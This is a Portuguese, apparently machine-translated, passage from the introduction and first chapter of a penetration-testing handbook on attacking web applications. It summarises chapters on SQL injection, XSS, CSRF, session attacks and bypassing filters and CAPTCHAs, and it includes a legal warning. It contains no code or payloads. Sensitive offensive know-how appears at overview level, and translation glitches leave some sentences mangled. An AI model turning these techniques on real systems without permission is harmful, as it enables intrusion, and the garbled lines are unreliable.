Este livro está organizado aproximadamente de acordo com as dependências entre os diferentes tópicos abordados. Se você é novo no hacking de aplicativos Web, deve ler o livro do início ao fim, adquirindo o conhecimento e a compreensão necessários para abordar os capítulos posteriores. Se você já tem alguma experiência nessa área, pode ir direto para qualquer capítulo ou subseção que lhe interesse particularmente. Quando necessário, incluímos referências cruzadas para outros capítulos, que você pode usar para preencher as lacunas em seu entendimento.

Começamos com três capítulos de contextualização que descrevem o estado atual da segurança de aplicativos Web e as tendências que indicam como ela provavelmente evoluirá em um futuro próximo. Examinamos o principal problema de segurança que afeta os aplicativos da Web e os mecanismos de defesa que os aplicativos implementam para resolver esse problema. Também fornecemos uma cartilha sobre as principais tecnologias usadas nos aplicativos da Web atuais.

A maior parte do livro trata do nosso tópico principal: as técnicas que você pode usar para invadir aplicativos da Web. Esse material está organizado em torno das principais tarefas que você precisa executar para realizar um ataque abrangente. Essas tarefas incluem mapear a funcionalidade do aplicativo, examinar e atacar seus principais mecanismos de defesa e sondar categorias específicas de falhas de segurança.

O livro termina com três capítulos que reúnem as várias vertentes apresentadas no livro. Descrevemos o processo de encontrar vulnerabilidades no código-fonte de um aplicativo, analisamos as ferramentas que podem ajudá-lo a invadir aplicativos da Web e apresentamos uma metodologia detalhada para realizar um ataque abrangente e profundo contra um alvo específico.

O Capítulo 1, "(In)segurança de aplicativos Web", descreve o estado atual da segurança dos aplicativos Web na Internet. Apesar das garantias comuns, a maioria dos aplicativos é insegura e pode ser comprometida de alguma forma com um grau modesto de habilidade. As vulnerabilidades nos aplicativos Web surgem devido a um único problema central: os usuários podem enviar entradas arbitrárias. Este capítulo examina os principais fatores que contribuem para a fraca postura de segurança dos aplicativos atuais. Ele também descreve como os defeitos nos aplicativos Web podem deixar a infraestrutura técnica mais ampla de uma organização altamente vulnerável a ataques.

O Capítulo 2, "Mecanismos básicos de defesa", descreve os principais mecanismos de segurança que os aplicativos da Web empregam para resolver o problema fundamental de que todas as entradas de usuários não são confiáveis. Esses mecanismos são os meios pelos quais um aplicativo gerencia o acesso do usuário, trata a entrada do usuário e responde aos invasores. Esses mecanismos também incluem as funções fornecidas aos administradores para gerenciar e monitorar o próprio aplicativo. Os principais mecanismos de segurança do aplicativo também representam sua principal superfície de ataque, portanto, é necessário entender como esses mecanismos devem funcionar antes de poder atacá-los com eficácia.

O Capítulo 3, "Tecnologias de aplicativos da Web", é uma breve cartilha sobre as principais tecnologias que você provavelmente encontrará ao atacar aplicativos da Web. Ele aborda todos os aspectos relevantes do protocolo HTTP, as tecnologias comumente usadas nos lados do cliente e do servidor e vários esquemas usados para codificar dados. Se você já estiver familiarizado com as principais tecnologias da Web, poderá folhear este capítulo.

O Capítulo 4, "Mapeamento do aplicativo", descreve o primeiro exercício que você precisa realizar ao visar um novo aplicativo: reunir o máximo de informações possível para mapear a superfície de ataque e formular seu plano de ataque. Esse processo inclui a exploração e a sondagem do aplicativo para catalogar todo o seu conteúdo e funcionalidade, identificando todos os pontos de entrada para a entrada do usuário e descobrindo as tecnologias em uso.

O Capítulo 5, "Contornando controles do lado do cliente", aborda a primeira área de vulnerabilidade real, que surge quando um aplicativo depende de controles implementados no lado do cliente para sua segurança. Essa abordagem normalmente é falha, pois qualquer controle do lado do cliente pode, é claro, ser contornado. As duas principais maneiras pelas quais os aplicativos se tornam vulneráveis são transmitindo dados por meio do cliente, supondo que eles não serão modificados, e confiando em verificações do lado do cliente na entrada do usuário. Este capítulo descreve uma série de tecnologias interessantes, incluindo controles leves implementados em HTML, HTTP e JavaScript, e controles mais pesados usando applets Java, controles ActiveX, Silverlight e objetos Flash.

Os capítulos 6, 7 e 8 abordam alguns dos mecanismos de defesa mais importantes implementados nos aplicativos Web: aqueles responsáveis pelo controle do acesso do usuário. O Capítulo 6, "Atacando a autenticação", examina as várias funções pelas quais os aplicativos obtêm garantia da identidade de seus usuários. Isso inclui a função principal de login e também as funções mais periféricas relacionadas à autenticação, como registro de usuário, alteração de senha e recuperação de conta. Os mecanismos de autenticação contêm uma série de vulnerabilidades diferentes, tanto no design quanto na implementação, que um invasor pode aproveitar para obter acesso não autorizado. Essas vulnerabilidades variam de defeitos óbvios, como senhas ruins e suscetibilidade a ataques de força bruta, a problemas mais obscuros na lógica de autenticação. Também examinamos detalhadamente os tipos de mecanismos de login de vários estágios usados em muitos aplicativos críticos para a segurança e descrevemos os novos tipos de vulnerabilidades que eles frequentemente contêm.

O Capítulo 7, "Attacking Session Management", examina o mecanismo pelo qual a maioria dos aplicativos complementa o protocolo HTTP sem estado com o conceito de uma sessão com estado, o que permite identificar exclusivamente cada usuário em várias solicitações diferentes. Esse mecanismo é um alvo importante quando se está atacando um aplicativo da Web, pois, se for possível quebrá-lo, será possível ignorar o login e se disfarçar como outros usuários sem conhecer suas credenciais. Analisamos vários defeitos comuns na geração e transmissão de tokens de sessão e descrevemos as etapas que você pode seguir para descobri-los e explorá-los.

O Capítulo 8, "Attacking Access Controls" (Atacando controles de acesso), examina as maneiras pelas quais os aplicativos realmente impõem controles de acesso, contando com mecanismos de autenticação e gerenciamento de sessão para fazer isso. Descrevemos várias maneiras pelas quais os controles de acesso podem ser violados e como você pode detectar e explorar esses pontos fracos. Os capítulos 9 e 10 abordam uma grande categoria de vulnerabilidades relacionadas, que surgem quando os aplicativos incorporam a entrada do usuário no código interpretado de forma insegura. O Capítulo 9, "Attacking Data Stores", começa com uma análise detalhada das vulnerabilidades de injeção de SQL. Ele abrange toda a gama de ataques, desde os mais óbvios e triviais até as técnicas avançadas de exploração que envolvem canais fora de banda, inferência e atrasos de tempo. Para cada tipo de vulnerabilidade e técnica de ataque, descrevemos as diferenças relevantes entre três tipos comuns de bancos de dados: MS-SQL, Oracle e MySQL. Em seguida, analisamos uma série de ataques semelhantes que surgem contra outros armazenamentos de dados, incluindo NoSQL, XPath e LDAP. O Capítulo 10, "Ataque a componentes de back-end", descreve várias outras categorias de vulnerabilidades de injeção, inclusive a injeção de comandos do sistema operacional, injeção em linguagens de script da Web, ataques de passagem de caminho de arquivo, vulnerabilidades de inclusão de arquivo, injeção em XML, SOAP, solicitações HTTP de back-end, e serviços de e-mail.

O Capítulo 11, "Atacando a lógica do aplicativo", examina uma área importante e frequentemente ignorada da superfície de ataque de todos os aplicativos: a lógica interna que ele emprega para implementar sua funcionalidade. Os defeitos na lógica de um aplicativo são extremamente

variados e mais difíceis de caracterizar do que as vulnerabilidades comuns

como injeção de SQL e cross-site scripting. Por esse motivo, apresentamos uma série de exemplos reais em que a lógica defeituosa deixou um aplicativo vulnerável. Esses exemplos ilustram a variedade de suposições errôneas que os designers e desenvolvedores de aplicativos fazem. A partir dessas diferentes falhas individuais, derivamos uma série de testes específicos que podem ser executados para localizar muitos tipos de falhas lógicas que geralmente não são detectadas.

Os capítulos 12 e 13 abrangem uma área ampla e muito atual de vulnerabilidades relacionadas que surgem quando defeitos em um aplicativo da Web podem permitir que um usuário mal-intencionado do aplicativo ataque outros usuários e os comprometa de várias maneiras. Capítulo 12, "Atacando usuários: Cross-Site Scripting", examina a vulnerabilidade mais proeminente desse tipo - uma falha extremamente prevalente que afeta a grande maioria dos aplicativos Web na Internet. Examinamos em detalhes todos os diferentes tipos de vulnerabilidades XSS e descrevemos uma metodologia eficaz para detectar e explorar até mesmo as manifestações mais obscuras dessas vulnerabilidades.

Capítulo 13, "Atacando usuários: Outras técnicas", examina vários outros tipos de ataques contra outros usuários, incluindo a indução de ações do usuário por meio de falsificação de solicitações e reparação da interface do usuário, captura de dados entre domínios usando várias tecnologias do lado do cliente, vários ataques contra a política de mesma origem, injeção de cabeçalho HTTP, injeção de cookies e fixação de sessão, redirecionamento aberto, injeção de SQL do lado do cliente, ataques de privacidade local e exploração de bugs em controles ActiveX. O capítulo termina com uma discussão sobre uma série de ataques contra usuários que não dependem de vulnerabilidades em nenhum aplicativo da Web específico, mas que podem ser realizados por meio de qualquer site mal-intencionado ou invasor adequadamente posicionado.

O Capítulo 14, "Automatização de ataques personalizados", não apresenta nenhuma nova categoria de vulnerabilidades. Em vez disso, ele descreve uma técnica crucial que você precisa dominar para atacar aplicativos Web de forma eficaz. Como cada aplicativo Web é diferente, a maioria dos ataques é personalizada de alguma forma, adaptada ao comportamento específico do aplicativo e às maneiras que você descobriu para manipulá-lo a seu favor. Frequentemente, eles também exigem a emissão de um grande número de solicitações semelhantes e o monitoramento das respostas do aplicativo. A execução manual dessas solicitações é extremamente trabalhosa e propensa a erros. Para se tornar um hacker de aplicativos da Web realmente bem-sucedido, você precisa automatizar o máximo possível desse trabalho para tornar seus ataques personalizados mais fáceis, rápidos e eficazes. Este capítulo descreve detalhadamente uma metodologia comprovada para conseguir isso. Também examinamos várias barreiras comuns ao uso da automação, incluindo mecanismos defensivos de tratamento de sessão e controles CAPTCHA. Além disso, descrevemos ferramentas e técnicas que você pode usar para superar essas barreiras.

O Capítulo 15, "Explorando a divulgação de informações", examina várias maneiras pelas quais os aplicativos vazam informações quando estão sob ataque ativo. Quando estiver executando todos os outros tipos de ataques descritos neste livro, você deve sempre monitorar o aplicativo para identificar outras fontes de divulgação de informações que possam ser exploradas. Descrevemos

como você pode investigar comportamentos anômalos e mensagens de erro para obter uma compreensão mais profunda do funcionamento do aplicativo.

funcionamento interno e ajustar seu ataque. Também abordamos maneiras de manipular o tratamento de erros defeituoso para recuperar sistematicamente informações confidenciais do aplicativo.

O Capítulo 16, "Attacking Native Compiled Applications" (Atacando aplicativos compilados nativos), analisa um conjunto de vulnerabilidades importantes que surgem em aplicativos escritos em linguagens de código nativas, como C e C++. Essas vulnerabilidades incluem estouro de buffer, vulnerabilidades de inteiros e falhas de formatação de strings. Por se tratar de um tópico de grande potencial, concentramo-nos em maneiras de detectar essas vulnerabilidades em aplicativos da Web e analisamos alguns exemplos reais de como elas surgiram e foram exploradas.

O Capítulo 17, "Atacando a arquitetura de aplicativos", examina uma área importante da segurança de aplicativos Web que é frequentemente ignorada. Muitos aplicativos empregam uma arquitetura em camadas. A falta de segregação adequada das diferentes camadas geralmente deixa um aplicativo vulnerável, permitindo que um invasor que tenha encontrado um defeito em um componente comprometa rapidamente todo o aplicativo. Uma gama diferente de ameaças surge em ambientes de hospedagem compartilhada, em que defeitos ou códigos maliciosos em um aplicativo podem, às vezes, ser explorados para comprometer o próprio ambiente e outros aplicativos executados nele. Este capítulo também examina a gama de ameaças que surgem nos tipos de ambientes de hospedagem compartilhada que se tornaram conhecidos como "computação em nuvem".

O Capítulo 18, "Ataque ao servidor de aplicativos", descreve várias maneiras pelas quais você pode atacar um aplicativo da Web, atacando o servidor da Web no qual ele está sendo executado. As vulnerabilidades em servidores Web são compostas, em linhas gerais, por defeitos em sua configuração e falhas de segurança no software do servidor Web. Esse tópico está no limite dos assuntos abordados neste livro, porque o servidor Web é estritamente um componente diferente na pilha de tecnologia. Entretanto, a maioria dos aplicativos da Web está intimamente ligada ao servidor da Web em que são executados. Portanto, os ataques contra o servidor Web estão incluídos no livro porque, muitas vezes, podem ser usados para comprometer um aplicativo diretamente, em vez de indiretamente, comprometendo primeiro o host subjacente.

O Capítulo 19, "Encontrando vulnerabilidades no código-fonte", descreve uma abordagem completamente diferente para encontrar falhas de segurança em comparação com as descritas em outras partes deste livro. Em muitas situações, pode ser possível analisar o código-fonte de um aplicativo, e nem sempre isso requer a cooperação do proprietário do aplicativo. A análise do código-fonte de um aplicativo pode ser altamente eficaz na descoberta de vulnerabilidades que seriam difíceis ou demoradas de detectar por meio de sondagem do aplicativo em execução. Descrevemos uma metodologia e fornecemos uma folha de dicas para cada idioma, para que você possa realizar uma revisão de código eficaz, mesmo que tenha pouca experiência em programação.

O Capítulo 20, "A Web Application Hacker's Toolkit", reúne as várias ferramentas descritas neste livro. Essas são as mesmas ferramentas que os autores usam quando atacam aplicativos da Web do mundo real. Examinamos os principais recursos dessas ferramentas e descrevemos detalhadamente o tipo de fluxo de trabalho que você geralmente precisa empregar para tirar o melhor proveito delas.

Também examinamos até que ponto qualquer ferramenta totalmente automatizada

podem ser eficazes para encontrar vulnerabilidades em aplicativos da Web. Por fim, fornecemos algumas dicas e conselhos para aproveitar ao máximo seu kit de ferramentas.

O Capítulo 21, "A Web Application Hacker's Methodology", é uma compilação abrangente e estruturada de todos os procedimentos e técnicas descritos neste livro. Eles são organizados e ordenados de acordo com as dependências lógicas entre as tarefas quando você está realizando um ataque real. Se você leu e compreendeu todas as vulnerabilidades e técnicas descritas neste livro, poderá usar essa metodologia como uma lista de verificação completa e um plano de trabalho ao realizar um ataque contra um aplicativo da Web.

O que há de novo nesta edição

Nos quatro anos que se passaram desde a publicação da primeira edição deste livro, muita coisa mudou e muita coisa permaneceu igual. A marcha da nova tecnologia, é claro, continuou em ritmo acelerado, o que deu origem a novas vulnerabilidades e ataques específicos. A engenhosidade dos hackers também levou ao desenvolvimento de novas técnicas de ataque e novas maneiras de explorar erros antigos. Mas nenhum desses fatores, tecnológicos ou humanos, criou uma revolução. As tecnologias usadas nos aplicativos atuais têm suas raízes naquelas que existem há muitos anos. E os conceitos fundamentais envolvidos nas técnicas de exploração de ponta de hoje são mais antigos do que muitos dos pesquisadores que os aplicam com tanta eficácia. A segurança de aplicativos Web é uma área dinâmica e interessante para se trabalhar, mas a maior parte do que constitui nossa sabedoria acumulada evoluiu lentamente ao longo de muitos anos. Ela teria sido distintamente reconhecível para os profissionais que trabalham há uma década ou mais.

Esta segunda edição não é uma reescrita completa da primeira. A maior parte do material da primeira edição continua válida e atual. Aproximadamente 30% do conteúdo desta edição é novo ou amplamente revisado. Os 70% restantes sofreram pequenas modificações ou nenhuma modificação. Se você tiver feito o upgrade da primeira edição e se sentir desapontado com esses números, deve se animar. Se você domina todas as técnicas descritas na primeira edição, já possui a maioria das habilidades e dos conhecimentos necessários. Você pode se concentrar no que há de novo nesta edição e aprender rapidamente sobre as áreas de segurança de aplicativos Web que mudaram nos últimos anos.

Um novo recurso significativo da segunda edição é a inclusão, em todo o livro, de exemplos reais de quase todas as vulnerabilidades abordadas. Sempre que vir um link "Try It!" (Experimente!), você poderá acessar a Internet e trabalhar interativamente com o exemplo que está sendo discutido para confirmar que pode encontrar e explorar a vulnerabilidade contida nele. Há várias centenas desses laboratórios, que você pode usar no seu próprio ritmo enquanto lê o livro. Os laboratórios on-line estão disponíveis por assinatura, mediante o pagamento de uma pequena taxa para cobrir os custos de hospedagem e manutenção da infraestrutura envolvida.

Se você quiser se concentrar no que há de novo na segunda edição, aqui está um resumo das principais áreas em que o material foi adicionado ou reescrito:

O Capítulo 1, "Insegurança de aplicativos da Web", foi parcialmente atualizado para refletir os novos usos de aplicativos da Web, algumas tendências gerais em tecnologias e as maneiras pelas quais o perímetro de segurança de uma organização típica continua a mudar. O Capítulo 2, "Mecanismos básicos de defesa", sofreu pequenas alterações. Foram adicionados alguns exemplos de técnicas genéricas para contornar a validação de entrada. defesas de ação.

O Capítulo 3, "Tecnologias de aplicativos da Web", foi ampliado com algumas novas seções que descrevem tecnologias novas ou que foram descritas mais brevemente em outra parte da primeira edição. Os tópicos adicionados incluem REST, Ruby on Rails, SQL, XML, serviços da Web, CSS, VBScript, o modelo de objeto de documento, Ajax, JSON, a política de mesma origem e HTML5.

O Capítulo 4, "Mapeamento do aplicativo", recebeu várias pequenas atualizações para refletir o desenvolvimento de técnicas de mapeamento de conteúdo e funcionalidade.

O Capítulo 5, "Bypassing Client-Side Controls", foi atualizado de forma mais abrangente. Em particular, a seção sobre tecnologias de extensão de navegador foi amplamente reescrita para incluir orientações mais detalhadas sobre abordagens genéricas para descompilação e depuração de bytecode, como lidar com dados serializados em formatos comuns e como lidar com obstáculos comuns ao seu trabalho, incluindo clientes sem proxy e problemas com SSL. O capítulo agora também aborda a tecnologia Silverlight.

O Capítulo 6, "Attacking Authentication" (Ataque à autenticação), permanece atual e tem apenas pequenas atualizações.

O Capítulo 7, "Attacking Session Management", foi atualizado para abranger novas ferramentas para testar automaticamente a qualidade da aleatoriedade dos tokens. Ele também contém novo material sobre ataque a tokens criptografados, incluindo técnicas práticas para adulteração de tokens sem conhecer o algoritmo criptográfico ou a chave de criptografia que está sendo usada.

O Capítulo 8, "Attacking Access Controls" (Atacando controles de acesso), agora aborda as vulnerabilidades de controle de acesso decorrentes do acesso direto a métodos do lado do servidor e da configuração incorreta da plataforma, em que regras baseadas em métodos HTTP são usadas para controlar o acesso. Ele também descreve algumas novas ferramentas e técnicas que podem ser usadas para automatizar parcialmente a tarefa frequentemente onerosa de testar os controles de acesso.

O material dos Capítulos 9 e 10 foi reorganizado para criar capítulos mais manejáveis e uma disposição mais lógica dos tópicos. O Capítulo 9, "Attacking Data Stores", concentra-se na injeção de SQL e em ataques semelhantes contra outras tecnologias de armazenamento de dados. Como as vulnerabilidades de injeção de SQL passaram a ser mais amplamente compreendidas e tratadas, esse material agora se concentra mais em situações práticas em que a injeção de SQL ainda é encontrada. Também há pequenas atualizações para refletir as tecnologias e os métodos de ataque atuais. Foi incluída uma nova seção sobre o uso de ferramentas automatizadas para a exploração de vulnerabilidades de injeção de SQL. O material sobre injeção de LDAP foi amplamente reescrito para incluir

uma seção mais detalhada sobre a injeção de SQL.

cobertura de tecnologias específicas (Microsoft Active Directory e OpenLDAP), bem como novas técnicas de exploração de vulnerabilidades comuns. Esse capítulo agora também abrange ataques contra o NoSQL.

O Capítulo 10, "Attacking Back-End Components", abrange os outros tipos de vulnerabilidades de injeção no lado do servidor que estavam incluídos anteriormente no Capítulo 9. Novas seções abordam a injeção de entidade externa XML e a injeção em solicitações HTTP de back-end, incluindo injeção/poluição de parâmetros HTTP e injeção em esquemas de reescrita de URL.

O Capítulo 11, "Attacking Application Logic" (Atacando a lógica do aplicativo), inclui mais exemplos reais de falhas lógicas comuns em funções de validação de entrada. Com o aumento do uso da criptografia para proteger os dados do aplicativo em repouso, também incluímos um exemplo de como identificar e explorar oráculos de criptografia para descriptografar dados criptografados.

O tópico de ataques contra outros usuários de aplicativos, anteriormente abordado no Capítulo 12, foi dividido em dois capítulos, pois esse material estava se tornando excessivamente grande. O Capítulo 12, "Ataque a usuários: Cross-Site Scripting", concentra-se exclusivamente em XSS. Esse material foi amplamente atualizado em várias áreas. As seções sobre como contornar filtros defensivos para introduzir código de script foram totalmente reescritas para abranger novas técnicas e tecnologias, incluindo vários métodos pouco conhecidos para executar código de script nos navegadores atuais. Há também uma cobertura muito mais detalhada dos métodos de ofuscação do código de script para contornar os filtros de entrada comuns. O capítulo inclui vários novos exemplos de ataques XSS do mundo real. Uma nova seção sobre o fornecimento de explorações XSS funcionais em condições desafiadoras abrange o escalonamento de um ataque em páginas de aplicativos, a exploração de XSS por meio de cookies e do cabeçalho `Referer` e a exploração de XSS em conteúdo de solicitação e resposta não padrão, como XML. Há um exame detalhado dos filtros XSS integrados dos navegadores e de como eles podem ser contornados para a realização de explorações. Novas seções discutem técnicas específicas de exploração de XSS em aplicativos de webmail e em arquivos carregados. Por fim, há várias atualizações nas medidas defensivas que podem ser usadas para evitar ataques de XSS.

O novo Capítulo 13, "Attacking Users: Other Techniques" (Outras técnicas) reúne o restante dessa grande área. O tópico de falsificação de solicitações entre sites foi atualizado para incluir ataques CSRF contra a função de login, defeitos comuns em defesas anti-CSRF, ataques de reparação de interface do usuário e defeitos comuns em defesas de framebusting. Uma nova seção sobre captura de dados entre domínios inclui técnicas para roubo de dados por meio da injeção de texto contendo HTML e CSS sem script, além de várias técnicas para captura de dados entre domínios usando JavaScript e E4X. Uma nova seção examina a política de mesma origem em mais detalhes, incluindo sua implementação em diferentes tecnologias de extensão de navegador, as mudanças trazidas pelo HTML5 e as formas de cruzar domínios por meio de aplicativos de serviço de proxy. Há novas seções sobre injeção de cookies no lado do cliente, injeção de SQL e política de parâmetros HTTP. A seção sobre ataques à privacidade no lado do cliente foi expandida para incluir mecanismos de armazenamento fornecidos pelas tecnologias de extensão de navegador e HTML5. Por fim, foi adicionada uma

nova seção que reúne ataques gerais contra

usuários da Web que não dependem de vulnerabilidades em nenhum aplicativo específico. Esses ataques podem ser realizados por qualquer site mal-intencionado ou comprometido ou por um invasor que esteja adequadamente posicionado na rede.

O Capítulo 14, "Automatização de ataques personalizados", foi ampliado para abranger as barreiras comuns à automação e como contorná-las. Muitos aplicativos empregam mecanismos defensivos de tratamento de sessão que encerram sessões, usam tokens anti-CSRF efêmeros ou usam processos de vários estágios para atualizar o estado do aplicativo. Algumas novas ferramentas são descritas para lidar com esses mecanismos, o que permite que você continue usando técnicas de teste automatizadas. Uma nova seção examina os controles CAPTCHA e algumas vulnerabilidades comuns que podem ser exploradas para contorná-los.

O Capítulo 15, "Exploração da divulgação de informações", contém novas seções sobre XSS em mensagens de erro e exploração de oráculos de descriptografia.

O Capítulo 16, "Attacking Native Compiled Applications" (Ataque a aplicativos compilados nativos), não foi atualizado. O Capítulo 17, "Attacking Application Architecture", tem uma nova seção sobre vulnerabilidades que surgem em arquiteturas baseadas em nuvem e exemplos atualizados de explorar os pontos fracos da arquitetura.

O Capítulo 18, "Attacking the Application Server" (Atacando o servidor de aplicativos), contém vários novos exemplos de vulnerabilidades interessantes em servidores e plataformas de aplicativos, incluindo Jetty, o console de gerenciamento JMX, ASP.NET, servidor Apple iDisk, servidor Web Ruby WEBrick e servidor Web Java. Também tem uma nova seção sobre abordagens práticas para contornar firewalls de aplicativos da Web.

O Capítulo 19, "Encontrando vulnerabilidades no código-fonte", não foi atualizado. O Capítulo 20, "A Web Application Hacker's Toolkit", foi atualizado com detalhes sobre os recursos mais recentes dos conjuntos de ferramentas baseados em proxy. Ele contém novas seções sobre como fazer proxy do tráfego de clientes sem proxy e como eliminar erros de SSL em navegadores e outros clientes causados pelo uso de um proxy de interceptação. Este capítulo contém uma descrição detalhada do fluxo de trabalho que é normalmente empregado quando você testa usando um conjunto de ferramentas baseado em proxy. Ele também contém uma nova discussão sobre os atuais scanners de vulnerabilidade da Web e as abordagens ideais para usá-los em diferentes situações.

O Capítulo 21, "A Web Application Hacker's Methodology", foi atualizado para refletir as novas etapas da metodologia descritas ao longo do livro.

Ferramentas que você precisará

Este livro é fortemente voltado para técnicas práticas que você pode usar para atacar aplicativos da Web. Depois de ler o livro, você entenderá as especificidades de cada tarefa individual, o que ela envolve tecnicamente e por que ela o ajuda a detectar e explorar vulnerabilidades. O livro não se trata, enfaticamente, de baixar uma ferramenta, apontá-la para um aplicativo-alvo e acreditar no que o resultado da ferramenta lhe diz sobre o estado da segurança do

aplicativo.

Dito isso, você encontrará várias ferramentas úteis e, às vezes, indispensáveis ao executar as tarefas e técnicas que descrevemos. Todas elas estão disponíveis na Internet. Recomendamos que você faça download e experimente cada ferramenta à medida que for lendo sobre ela.

O que há no site

O site que acompanha este livro, http://mdsec.net/wahh, que também pode ser acessado em `www/wiley.com/go/webhacker2e`, contém vários recursos que serão úteis para você dominar as técnicas que descrevemos e usá-las para atacar aplicativos reais. Em particular, o site contém acesso ao seguinte:

- Código-fonte de alguns dos scripts que apresentamos no livro
- Uma lista de links atuais para todas as ferramentas e outros recursos discutidos no livro
- Uma lista de verificação útil das tarefas envolvidas no ataque a um aplicativo típico
- Respostas às perguntas feitas no final de cada capítulo
- Centenas de laboratórios interativos de vulnerabilidade que são usados em exemplos ao longo deste livro e que estão disponíveis por assinatura para ajudá-lo a desenvolver e aprimorar suas habilidades

Bring It On

A segurança de aplicativos Web continua sendo um assunto divertido e próspero. Gostamos de escrever este livro tanto quanto continuamos a gostar de invadir aplicativos Web diariamente. Esperamos que você também tenha prazer em aprender sobre as diferentes técnicas que descrevemos e como se defender delas.

Antes de prosseguirmos, devemos mencionar uma advertência importante. Na maioria dos países, atacar sistemas de computador sem a permissão do proprietário é contra a lei. A maioria das técnicas que descrevemos é ilegal se for executada sem consentimento.

Os autores são testadores de penetração profissionais que atacam rotineiramente aplicativos da Web em nome de clientes para ajudá-los a melhorar sua segurança. Nos últimos anos, vários profissionais de segurança e outros adquiriram registros criminais - e encerraram suas carreiras - por experimentarem ou atacarem ativamente sistemas de computador sem permissão. Recomendamos que você use as informações contidas neste livro somente para fins legais.

CAPÍTULO

1

(In)segurança de aplicativos da Web

Não há dúvida de que a segurança de aplicativos da Web é um assunto atual e digno de notícia. Para todos os envolvidos, os riscos são altos: para as empresas que obtêm cada vez mais receita com o comércio pela Internet, para os usuários que confiam informações confidenciais aos aplicativos da Web e para os criminosos que podem ganhar muito dinheiro roubando detalhes de pagamento ou comprometendo contas bancárias. A reputação desempenha um papel fundamental. Poucas pessoas querem fazer negócios com um site inseguro, portanto, poucas organizações querem divulgar detalhes sobre suas próprias vulnerabilidades ou violações de segurança. Portanto, não é uma tarefa trivial obter informações confiáveis sobre o estado atual da segurança dos aplicativos Web.

Este capítulo dá uma breve olhada em como os aplicativos Web evoluíram e nos muitos benefícios que eles oferecem. Apresentamos algumas métricas sobre vulnerabilidades nos aplicativos Web atuais, extraídas da experiência direta dos autores, demonstrando que a maioria dos aplicativos está longe de ser segura. Descrevemos o principal problema de segurança enfrentado pelos aplicativos Web - o fato de os usuários poderem fornecer entradas arbitrárias - e os vários fatores que contribuem para sua fraca postura de segurança. Por fim, descrevemos as últimas tendências em segurança de aplicativos da Web e como se espera que elas se desenvolvam no futuro próximo.

A evolução dos aplicativos da Web

Nos primórdios da Internet, a World Wide Web consistia apenas em *sites*. Esses eram essencialmente repositórios de informações que continham documentos estáticos. Os navegadores da Web foram inventados como um meio de recuperar e exibir esses documentos, conforme mostrado na Figura 1-1. O fluxo de informações interessantes era unidirecional, do servidor para o navegador. A maioria dos sites não autenticava os usuários, pois não havia necessidade. Cada usuário era tratado da mesma forma e recebia as mesmas informações. Todas as ameaças à segurança decorrentes da hospedagem de um site estavam relacionadas, em grande parte, a vulnerabilidades no software do servidor da Web (que eram muitas). Se um invasor comprometesse um servidor da Web, ele normalmente não teria acesso a nenhuma informação confidencial, porque as informações mantidas no servidor já estavam abertas ao público. Em vez disso, um invasor normalmente modificaria os arquivos no servidor para desfigurar o conteúdo do site ou usar o armazenamento e a largura de banda do servidor para distribuir "warez".

Figura 1-1: Um site tradicional com informações estáticas

Atualmente, a World Wide Web é quase irreconhecível em relação à sua forma anterior. A maioria dos sites na Web são, na verdade, aplicativos (consulte a Figura 1-2). Eles são altamente funcionais e dependem do fluxo bidirecional de informações entre o servidor e o navegador. Eles oferecem suporte a registro e login, transações financeiras,

pesquisa e criação de conteúdo pelos usuários. O conteúdo apresentado aos usuários é gerado dinamicamente em tempo real e, muitas vezes, é adaptado a cada usuário específico. Muitas das informações processadas são privadas e altamente confidenciais. A segurança, portanto, é um grande problema. Ninguém quer usar um aplicativo da Web se acreditar que suas informações serão divulgadas a pessoas não autorizadas.

Figura 1-2: Um aplicativo da Web típico

Os aplicativos da Web trazem consigo novas e significativas ameaças à segurança. Cada aplicativo é diferente e pode conter vulnerabilidades exclusivas. A maioria dos aplicativos é desenvolvida internamente, muitos deles por desenvolvedores que têm apenas um entendimento parcial dos problemas de segurança que podem surgir no código que estão produzindo. Para fornecer sua funcionalidade principal, os aplicativos da Web normalmente exigem conectividade com sistemas internos de computador que contêm dados altamente confidenciais e que podem executar funções comerciais poderosas. Há quinze anos, se você quisesse fazer uma transferência de fundos, visitava o banco e o caixa realizava a transferência para você; hoje, você pode visitar um aplicativo da Web e realizar a transferência por conta própria. Um invasor que compromete um aplicativo da Web pode roubar informações pessoais, realizar fraudes financeiras e executar ações mal-intencionadas contra outros usuários.

Funções comuns de aplicativos da Web

Os aplicativos da Web foram criados para executar praticamente todas as funções úteis que você poderia implementar on-line. Aqui estão algumas funções de aplicativos Web que ganharam destaque nos últimos anos:

- Compras (Amazon)
- Redes sociais (Facebook)
- Banco (Citibank)
- Pesquisa na Web (Google)
- Leilões (eBay)
- Jogos de azar (Betfair)
- Registros da Web (Blogger)
- Correio eletrônico da Web (Gmail)
- Informações interativas (Wikipedia)

Os aplicativos que são acessados por meio de um navegador de computador se sobrepõem cada vez mais aos aplicativos móveis que são acessados por meio de um smartphone ou tablet. A maioria dos aplicativos móveis emprega um navegador ou um cliente personalizado que usa APIs baseadas em HTTP para se comunicar com o servidor. Normalmente, as funções e os dados do aplicativo são compartilhados entre as várias interfaces que o aplicativo expõe para diferentes plataformas de usuários.

Além da Internet pública, os aplicativos da Web foram amplamente adotados dentro das organizações para dar suporte às principais funções de negócios. Muitos deles fornecem acesso a dados e funcionalidades altamente confidenciais:

- Aplicativos de RH que permitem aos usuários acessar informações da folha de pagamento, dar e receber feedback de desempenho e gerenciar procedimentos de recrutamento e disciplinares.
- Interfaces administrativas para a infraestrutura principal, como servidores da Web e de e-mail, estações de trabalho de usuários e administração de máquinas virtuais.
- Software de colaboração usado para compartilhar documentos, gerenciar o fluxo de trabalho e projetos e rastrear problemas. Esses tipos de funcionalidade geralmente envolvem questões críticas de segurança e governança, e as organizações costumam confiar totalmente nos controles incorporados aos seus aplicativos da Web.
- Os aplicativos de negócios, como o software de planejamento de recursos empresariais (ERP), que antes eram acessados por meio de um aplicativo thick-client proprietário, agora podem ser acessados por meio de um navegador da Web.

- Serviços de software, como e-mail, que originalmente exigiam um cliente de e-mail separado, agora podem ser acessados por meio de interfaces da Web, como o Outlook Web Access.
- Os aplicativos tradicionais de escritório para desktop, como processadores de texto e planilhas, foram migrados para aplicativos da Web por meio de serviços como o Google Apps e o Microsoft Office Live.

Em todos esses exemplos, os aplicativos considerados "internos" estão sendo cada vez mais hospedados externamente, à medida que as organizações recorrem a provedores de serviços externos para cortar custos. Nessas chamadas soluções *em nuvem*, a funcionalidade e os dados essenciais para os negócios são abertos a uma gama maior de possíveis invasores, e as organizações dependem cada vez mais da integridade das defesas de segurança que estão fora de seu controle.

